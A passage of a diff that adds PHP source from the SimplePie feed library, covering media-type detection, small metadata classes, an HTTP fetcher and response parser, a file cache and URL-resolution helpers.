+		else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
+
+		return $embed;
+	}
+
+	function get_real_type($find_handler = false)
+	{
+		// If it's Odeo, let's get it out of the way.
+		if (substr(strtolower($this->get_link()), 0, 15) == 'http://odeo.com')
+		{
+			return 'odeo';
+		}
+
+		// Mime-types by handler.
+		$types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash
+		$types_fmedia = array('video/flv', 'video/x-flv'); // Flash Media Player
+		$types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime
+		$types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media
+		$types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3
+
+		if ($this->get_type() !== null)
+		{
+			$type = strtolower($this->type);
+		}
+		else
+		{
+			$type = null;
+		}
+
+		// If we encounter an unsupported mime-type, check the file extension and guess intelligently.
+		if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3)))
+		{
+			switch (strtolower($this->get_extension()))
+			{
+				// Audio mime-types
+				case 'aac':
+				case 'adts':
+					$type = 'audio/acc';
+					break;
+
+				case 'aif':
+				case 'aifc':
+				case 'aiff':
+				case 'cdda':
+					$type = 'audio/aiff';
+					break;
+
+				case 'bwf':
+					$type = 'audio/wav';
+					break;
+
+				case 'kar':
+				case 'mid':
+				case 'midi':
+				case 'smf':
+					$type = 'audio/midi';
+					break;
+
+				case 'm4a':
+					$type = 'audio/x-m4a';
+					break;
+
+				case 'mp3':
+				case 'swa':
+					$type = 'audio/mp3';
+					break;
+
+				case 'wav':
+					$type = 'audio/wav';
+					break;
+
+				case 'wax':
+					$type = 'audio/x-ms-wax';
+					break;
+
+				case 'wma':
+					$type = 'audio/x-ms-wma';
+					break;
+
+				// Video mime-types
+				case '3gp':
+				case '3gpp':
+					$type = 'video/3gpp';
+					break;
+
+				case '3g2':
+				case '3gp2':
+					$type = 'video/3gpp2';
+					break;
+
+				case 'asf':
+					$type = 'video/x-ms-asf';
+					break;
+
+				case 'flv':
+					$type = 'video/x-flv';
+					break;
+
+				case 'm1a':
+				case 'm1s':
+				case 'm1v':
+				case 'm15':
+				case 'm75':
+				case 'mp2':
+				case 'mpa':
+				case 'mpeg':
+				case 'mpg':
+				case 'mpm':
+				case 'mpv':
+					$type = 'video/mpeg';
+					break;
+
+				case 'm4v':
+					$type = 'video/x-m4v';
+					break;
+
+				case 'mov':
+				case 'qt':
+					$type = 'video/quicktime';
+					break;
+
+				case 'mp4':
+				case 'mpg4':
+					$type = 'video/mp4';
+					break;
+
+				case 'sdv':
+					$type = 'video/sd-video';
+					break;
+
+				case 'wm':
+					$type = 'video/x-ms-wm';
+					break;
+
+				case 'wmv':
+					$type = 'video/x-ms-wmv';
+					break;
+
+				case 'wvx':
+					$type = 'video/x-ms-wvx';
+					break;
+
+				// Flash mime-types
+				case 'spl':
+					$type = 'application/futuresplash';
+					break;
+
+				case 'swf':
+					$type = 'application/x-shockwave-flash';
+					break;
+			}
+		}
+
+		if ($find_handler)
+		{
+			if (in_array($type, $types_flash))
+			{
+				return 'flash';
+			}
+			elseif (in_array($type, $types_fmedia))
+			{
+				return 'fmedia';
+			}
+			elseif (in_array($type, $types_quicktime))
+			{
+				return 'quicktime';
+			}
+			elseif (in_array($type, $types_wmedia))
+			{
+				return 'wmedia';
+			}
+			elseif (in_array($type, $types_mp3))
+			{
+				return 'mp3';
+			}
+			else
+			{
+				return null;
+			}
+		}
+		else
+		{
+			return $type;
+		}
+	}
+}
+
+class SimplePie_Caption
+{
+	var $type;
+	var $lang;
+	var $startTime;
+	var $endTime;
+	var $text;
+
+	// Constructor, used to input the data
+	function SimplePie_Caption($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
+	{
+		$this->type = $type;
+		$this->lang = $lang;
+		$this->startTime = $startTime;
+		$this->endTime = $endTime;
+		$this->text = $text;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_endtime()
+	{
+		if ($this->endTime !== null)
+		{
+			return $this->endTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_starttime()
+	{
+		if ($this->startTime !== null)
+		{
+			return $this->startTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_text()
+	{
+		if ($this->text !== null)
+		{
+			return $this->text;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Credit
+{
+	var $role;
+	var $scheme;
+	var $name;
+
+	// Constructor, used to input the data
+	function SimplePie_Credit($role = null, $scheme = null, $name = null)
+	{
+		$this->role = $role;
+		$this->scheme = $scheme;
+		$this->name = $name;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_role()
+	{
+		if ($this->role !== null)
+		{
+			return $this->role;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Copyright
+{
+	var $url;
+	var $label;
+
+	// Constructor, used to input the data
+	function SimplePie_Copyright($url = null, $label = null)
+	{
+		$this->url = $url;
+		$this->label = $label;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_url()
+	{
+		if ($this->url !== null)
+		{
+			return $this->url;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_attribution()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Rating
+{
+	var $scheme;
+	var $value;
+
+	// Constructor, used to input the data
+	function SimplePie_Rating($scheme = null, $value = null)
+	{
+		$this->scheme = $scheme;
+		$this->value = $value;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Restriction
+{
+	var $relationship;
+	var $type;
+	var $value;
+
+	// Constructor, used to input the data
+	function SimplePie_Restriction($relationship = null, $type = null, $value = null)
+	{
+		$this->relationship = $relationship;
+		$this->type = $type;
+		$this->value = $value;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_relationship()
+	{
+		if ($this->relationship !== null)
+		{
+			return $this->relationship;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+/**
+ * @todo Move to properly supporting RFC2616 (HTTP/1.1)
+ */
+class SimplePie_File
+{
+	var $url;
+	var $useragent;
+	var $success = true;
+	var $headers = array();
+	var $body;
+	var $status_code;
+	var $redirects = 0;
+	var $error;
+	var $method = SIMPLEPIE_FILE_SOURCE_NONE;
+
+	function SimplePie_File($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false)
+	{
+		if (class_exists('idna_convert'))
+		{
+			$idn =& new idna_convert;
+			$parsed = SimplePie_Misc::parse_url($url);
+			$url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->url = $url;
+		$this->useragent = $useragent;
+		if (preg_match('/^http(s)?:\/\//i', $url))
+		{
+			if ($useragent === null)
+			{
+				$useragent = ini_get('user_agent');
+				$this->useragent = $useragent;
+			}
+			if (!is_array($headers))
+			{
+				$headers = array();
+			}
+			if (!$force_fsockopen && function_exists('curl_exec'))
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL;
+				$fp = curl_init();
+				$headers2 = array();
+				foreach ($headers as $key => $value)
+				{
+					$headers2[] = "$key: $value";
+				}
+				if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>='))
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, '');
+				}
+				curl_setopt($fp, CURLOPT_URL, $url);
+				curl_setopt($fp, CURLOPT_HEADER, 1);
+				curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
+				curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_REFERER, $url);
+				curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
+				curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
+				if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>='))
+				{
+					curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1);
+					curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects);
+				}
+
+				$this->headers = curl_exec($fp);
+				if (curl_errno($fp) == 23 || curl_errno($fp) == 61)
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, 'none');
+					$this->headers = curl_exec($fp);
+				}
+				if (curl_errno($fp))
+				{
+					$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
+					$this->success = false;
+				}
+				else
+				{
+					$info = curl_getinfo($fp);
+					curl_close($fp);
+					$this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1);
+					$this->headers = array_pop($this->headers);
+					$parser =& new SimplePie_HTTP_Parser($this->headers);
+					if ($parser->parse())
+					{
+						$this->headers = $parser->headers;
+						$this->body = $parser->body;
+						$this->status_code = $parser->status_code;
+						if (($this->status_code == 300 || $this->status_code == 301 || $this->status_code == 302 || $this->status_code == 303 || $this->status_code == 307 || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+						{
+							$this->redirects++;
+							$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+							return $this->SimplePie_File($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+						}
+					}
+				}
+			}
+			else
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN;
+				$url_parts = parse_url($url);
+				if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) == 'https')
+				{
+					$url_parts['host'] = "ssl://$url_parts[host]";
+					$url_parts['port'] = 443;
+				}
+				if (!isset($url_parts['port']))
+				{
+					$url_parts['port'] = 80;
+				}
+				$fp = @fsockopen($url_parts['host'], $url_parts['port'], $errno, $errstr, $timeout);
+				if (!$fp)
+				{
+					$this->error = 'fsockopen error: ' . $errstr;
+					$this->success = false;
+				}
+				else
+				{
+					stream_set_timeout($fp, $timeout);
+					if (isset($url_parts['path']))
+					{
+						if (isset($url_parts['query']))
+						{
+							$get = "$url_parts[path]?$url_parts[query]";
+						}
+						else
+						{
+							$get = $url_parts['path'];
+						}
+					}
+					else
+					{
+						$get = '/';
+					}
+					$out = "GET $get HTTP/1.0\r\n";
+					$out .= "Host: $url_parts[host]\r\n";
+					$out .= "User-Agent: $useragent\r\n";
+					if (function_exists('gzinflate'))
+					{
+						$out .= "Accept-Encoding: gzip,deflate\r\n";
+					}
+
+					if (isset($url_parts['user']) && isset($url_parts['pass']))
+					{
+						$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
+					}
+					foreach ($headers as $key => $value)
+					{
+						$out .= "$key: $value\r\n";
+					}
+					$out .= "Connection: Close\r\n\r\n";
+					fwrite($fp, $out);
+
+					$info = stream_get_meta_data($fp);
+
+					$this->headers = '';
+					while (!$info['eof'] && !$info['timed_out'])
+					{
+						$this->headers .= fread($fp, 1160);
+						$info = stream_get_meta_data($fp);
+					}
+					if (!$info['timed_out'])
+					{
+						$parser =& new SimplePie_HTTP_Parser($this->headers);
+						if ($parser->parse())
+						{
+							$this->headers = $parser->headers;
+							$this->body = $parser->body;
+							$this->status_code = $parser->status_code;
+							if (($this->status_code == 300 || $this->status_code == 301 || $this->status_code == 302 || $this->status_code == 303 || $this->status_code == 307 || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+							{
+								$this->redirects++;
+								$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+								return $this->SimplePie_File($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+							}
+							if (isset($this->headers['content-encoding']) && ($this->headers['content-encoding'] == 'gzip' || $this->headers['content-encoding'] == 'deflate'))
+							{
+								if (substr($this->body, 0, 8) == "\x1f\x8b\x08\x00\x00\x00\x00\x00")
+								{
+									$this->body = substr($this->body, 10);
+								}
+								$this->body = gzinflate($this->body);
+							}
+						}
+					}
+					else
+					{
+						$this->error = 'fsocket timed out';
+						$this->success = false;
+					}
+					fclose($fp);
+				}
+			}
+		}
+		else
+		{
+			$this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS;
+			if (!$this->body = file_get_contents($url))
+			{
+				$this->error = 'file_get_contents could not read the file';
+				$this->success = false;
+			}
+		}
+	}
+}
+
+/**
+ * HTTP Response Parser
+ *
+ * @package SimplePie
+ */
+class SimplePie_HTTP_Parser
+{
+	/**
+	 * HTTP Version
+	 *
+	 * @access public
+	 * @var float
+	 */
+	var $http_version = 0.0;
+
+	/**
+	 * Status code
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $status_code = 0;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $reason = '';
+
+	/**
+	 * Key/value pairs of the headers
+	 *
+	 * @access public
+	 * @var array
+	 */
+	var $headers = array();
+
+	/**
+	 * Body of the response
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $body = '';
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $state = 'http_version';
+
+	/**
+	 * Input data
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 * @access private
+	 */
+	var $position = 0;
+
+	/**
+	 * Name of the hedaer currently being parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $name = '';
+
+	/**
+	 * Value of the hedaer currently being parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $value = '';
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	function SimplePie_HTTP_Parser($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return bool true on success, false on failure
+	 */
+	function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit' || $this->state === 'body')
+		{
+			return true;
+		}
+		else
+		{
+			$this->http_version = '';
+			$this->status_code = '';
+			$this->reason = '';
+			$this->headers = array();
+			$this->body = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @access private
+	 * @return bool true if there is further data, false if not
+	 */
+	function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * See if the next character is LWS
+	 *
+	 * @access private
+	 * @return bool true if the next character is LWS, false if not
+	 */
+	function is_linear_whitespace()
+	{
+		return (bool) ($this->data[$this->position] === "\x09"
+			|| $this->data[$this->position] === "\x20"
+			|| ($this->data[$this->position] === "\x0A"
+				&& isset($this->data[$this->position + 1])
+				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
+	}
+
+	/**
+	 * Parse the HTTP version
+	 *
+	 * @access private
+	 */
+	function http_version()
+	{
+		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
+		{
+			$len = strspn($this->data, '0123456789.', 5);
+			$this->http_version = substr($this->data, 5, $len);
+			$this->position += 5 + $len;
+			if (substr_count($this->http_version, '.') <= 1)
+			{
+				$this->http_version = (float) $this->http_version;
+				$this->position += strspn($this->data, "\x09\x20", $this->position);
+				$this->state = 'status';
+			}
+			else
+			{
+				$this->state = false;
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the status code
+	 *
+	 * @access private
+	 */
+	function status()
+	{
+		if ($len = strspn($this->data, '0123456789', $this->position))
+		{
+			$this->status_code = (int) substr($this->data, $this->position, $len);
+			$this->position += $len;
+			$this->state = 'reason';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the reason phrase
+	 *
+	 * @access private
+	 */
+	function reason()
+	{
+		$len = strcspn($this->data, "\x0A", $this->position);
+		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
+		$this->position += $len + 1;
+		$this->state = 'new_line';
+	}
+
+	/**
+	 * Deal with a new line, shifting data around as needed
+	 *
+	 * @access private
+	 */
+	function new_line()
+	{
+		$this->value = trim($this->value, "\x0D\x20");
+		if ($this->name !== '' && $this->value !== '')
+		{
+			$this->name = strtolower($this->name);
+			if (isset($this->headers[$this->name]))
+			{
+				$this->headers[$this->name] .= ', ' . $this->value;
+			}
+			else
+			{
+				$this->headers[$this->name] = $this->value;
+			}
+		}
+		$this->name = '';
+		$this->value = '';
+		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
+		{
+			$this->position += 2;
+			$this->state = 'body';
+		}
+		elseif ($this->data[$this->position] === "\x0A")
+		{
+			$this->position++;
+			$this->state = 'body';
+		}
+		else
+		{
+			$this->state = 'name';
+		}
+	}
+
+	/**
+	 * Parse a header name
+	 *
+	 * @access private
+	 */
+	function name()
+	{
+		$len = strcspn($this->data, "\x0A:", $this->position);
+		if (isset($this->data[$this->position + $len]))
+		{
+			if ($this->data[$this->position + $len] === "\x0A")
+			{
+				$this->position += $len;
+				$this->state = 'new_line';
+			}
+			else
+			{
+				$this->name = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				$this->state = 'value';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse LWS, replacing consecutive LWS characters with a single space
+	 *
+	 * @access private
+	 */
+	function linear_whitespace()
+	{
+		do
+		{
+			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
+			{
+				$this->position += 2;
+			}
+			elseif ($this->data[$this->position] === "\x0A")
+			{
+				$this->position++;
+			}
+			$this->position += strspn($this->data, "\x09\x20", $this->position);
+		} while ($this->has_data() && $this->is_linear_whitespace());
+		$this->value .= "\x20";
+	}
+
+	/**
+	 * See what state to move to while within non-quoted header values
+	 *
+	 * @access private
+	 */
+	function value()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					$this->position++;
+					$this->state = 'quote';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				default:
+					$this->state = 'value_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while outside quotes
+	 *
+	 * @access private
+	 */
+	function value_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * See what state to move to while within quoted header values
+	 *
+	 * @access private
+	 */
+	function quote()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					$this->position++;
+					$this->state = 'value';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				case '\\':
+					$this->position++;
+					$this->state = 'quote_escaped';
+					break;
+
+				default:
+					$this->state = 'quote_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while within quotes
+	 *
+	 * @access private
+	 */
+	function quote_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * Parse an escaped character within quotes
+	 *
+	 * @access private
+	 */
+	function quote_escaped()
+	{
+		$this->value .= $this->data[$this->position];
+		$this->position++;
+		$this->state = 'quote';
+	}
+
+	/**
+	 * Parse the body
+	 *
+	 * @access private
+	 */
+	function body()
+	{
+		$this->body = substr($this->data, $this->position);
+		$this->state = 'emit';
+	}
+}
+
+class SimplePie_Cache
+{
+	/**
+	 * Don't call the constructor. Please.
+	 *
+	 * @access private
+	 */
+	function SimplePie_Cache()
+	{
+		trigger_error('Please call SimplePie_Cache::create() instead of the constructor', E_USER_ERROR);
+	}
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @static
+	 * @access public
+	 */
+	function create($location, $filename, $extension)
+	{
+		return new SimplePie_Cache_File($location, $filename, $extension);
+	}
+}
+
+class SimplePie_Cache_File
+{
+	var $location;
+	var $filename;
+	var $extension;
+	var $name;
+
+	function SimplePie_Cache_File($location, $filename, $extension)
+	{
+		$this->location = $location;
+		$this->filename = rawurlencode($filename);
+		$this->extension = rawurlencode($extension);
+		$this->name = "$location/$this->filename.$this->extension";
+	}
+
+	function save($data)
+	{
+		if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location))
+		{
+			if (is_a($data, 'SimplePie'))
+			{
+				$data = $data->data;
+			}
+
+			$data = serialize($data);
+
+			if (function_exists('file_put_contents'))
+			{
+				return (bool) file_put_contents($this->name, $data);
+			}
+			else
+			{
+				$fp = fopen($this->name, 'wb');
+				if ($fp)
+				{
+					fwrite($fp, $data);
+					fclose($fp);
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	function load()
+	{
+		if (file_exists($this->name) && is_readable($this->name))
+		{
+			return unserialize(file_get_contents($this->name));
+		}
+		return false;
+	}
+
+	function mtime()
+	{
+		if (file_exists($this->name))
+		{
+			return filemtime($this->name);
+		}
+		return false;
+	}
+
+	function touch()
+	{
+		if (file_exists($this->name))
+		{
+			return touch($this->name);
+		}
+		return false;
+	}
+
+	function unlink()
+	{
+		if (file_exists($this->name))
+		{
+			return unlink($this->name);
+		}
+		return false;
+	}
+}
+
+class SimplePie_Misc
+{
+	function time_hms($seconds)
+	{
+		$time = '';
+
+		$hours = floor($seconds / 3600);
+		$remainder = $seconds % 3600;
+		if ($hours > 0)
+		{
+			$time .= $hours.':';
+		}
+
+		$minutes = floor($remainder / 60);
+		$seconds = $remainder % 60;
+		if ($minutes < 10 && $hours > 0)
+		{
+			$minutes = '0' . $minutes;
+		}
+		if ($seconds < 10)
+		{
+			$seconds = '0' . $seconds;
+		}
+
+		$time .= $minutes.':';
+		$time .= $seconds;
+
+		return $time;
+	}
+
+	function absolutize_url($relative, $base)
+	{
+		if ($relative !== '')
+		{
+			$relative = SimplePie_Misc::parse_url($relative);
+			if ($relative['scheme'] !== '')
+			{
+				$target = $relative;
+			}
+			elseif ($base !== '')
+			{
+				$base = SimplePie_Misc::parse_url($base);
+				$target = SimplePie_Misc::parse_url('');
+				if ($relative['authority'] !== '')
+				{
+					$target = $relative;
+					$target['scheme'] = $base['scheme'];
+				}
+				else
+				{
+					$target['scheme'] = $base['scheme'];
+					$target['authority'] = $base['authority'];
+					if ($relative['path'] !== '')
+					{
+						if (strpos($relative['path'], '/') === 0)
+						{
+							$target['path'] = $relative['path'];
+						}
+						elseif ($base['authority'] !== '' && $base['path'] === '')
+						{
+							$target['path'] = '/' . $relative['path'];
+						}
+						elseif (($last_segment = strrpos($base['path'], '/')) !== false)
+						{
+							$target['path'] = substr($base['path'], 0, $last_segment + 1) . $relative['path'];
+						}
+						else
+						{
+							$target['path'] = $relative['path'];
+						}
+						$target['query'] = $relative['query'];
+					}
+					else
+					{
+						$target['path'] = $base['path'];
+						if ($relative['query'] !== '')
+						{
+							$target['query'] = $relative['query'];
+						}
+						elseif ($base['query'] !== '')
+						{
+							$target['query'] = $base['query'];
+						}
+					}
+				}
+				$target['fragment'] = $relative['fragment'];
+			}
+			else
+			{
+				// No base URL, just return the relative URL
+				$target = $relative;
+			}
+			$return = SimplePie_Misc::compress_parse_url($target['scheme'], $target['authority'], $target['path'], $target['query'], $target['fragment']);
+		}
+		else
+		{
+			$return = $base;
+		}
+		$return = SimplePie_Misc::normalize_url($return);
+		return $return;
+	}
+
+	function remove_dot_segments($input)
+	{
+		$output = '';
+		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input == '.' || $input == '..')
+		{
+			// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
+			if (strpos($input, '../') === 0)
+			{
+				$input = substr($input, 3);
+			}
+			elseif (strpos($input, './') === 0)
+			{
+				$input = substr($input, 2);
+			}
+			// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
+			elseif (strpos($input, '/./') === 0)
+			{
+				$input = substr_replace($input, '/', 0, 3);
+			}
+			elseif ($input == '/.')
+			{
+				$input = '/';
+			}
+			// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
+			elseif (strpos($input, '/../') === 0)
+			{
+				$input = substr_replace($input, '/', 0, 4);
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			elseif ($input == '/..')
+			{
+				$input = '/';
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
+			elseif ($input == '.' || $input == '..')
+			{
+				$input = '';
+			}
+			// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
+			elseif (($pos = strpos($input, '/', 1)) !== false)
+			{
+				$output .= substr($input, 0, $pos);
+				$input = substr_replace($input, '', 0, $pos);
+			}
+			else
+			{
+				$output .= $input;
+				$input = '';
+			}
+		}
+		return $output . $input;
+	}
+
+	function get_element($realname, $string)
+	{
+		$return = array();
+		$name = preg_quote($realname, '/');
+		if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE))
+		{
+			for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++)
+			{
+				$return[$i]['tag'] = $realname;
+				$return[$i]['full'] = $matches[$i][0][0];
+				$return[$i]['offset'] = $matches[$i][0][1];
+				if (strlen($matches[$i][3][0]) <= 2)
+				{
+					$return[$i]['self_closing'] = true;
+				}
+				else
+				{
+					$return[$i]['self_closing'] = false;
+					$return[$i]['content'] = $matches[$i][4][0];
+				}
+				$return[$i]['attribs'] = array();
+				if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER))
+				{
+					for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++)
+					{
+						if (count($attribs[$j]) == 2)
+						{
+							$attribs[$j][2] = $attribs[$j][1];
+						}
+						$return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]), 'UTF-8');
+					}
+				}
+			}
+		}
+		return $return;
+	}
+
+	function element_implode($element)
+	{
+		$full = "<$element[tag]";
+		foreach ($element['attribs'] as $key => $value)
+		{
+			$key = strtolower($key);
+			$full .= " $key=\"" . htmlspecialchars($value['data']) . '"';
+		}
+		if ($element['self_closing'])
+		{
+			$full .= ' />';
+		}
+		else
+		{
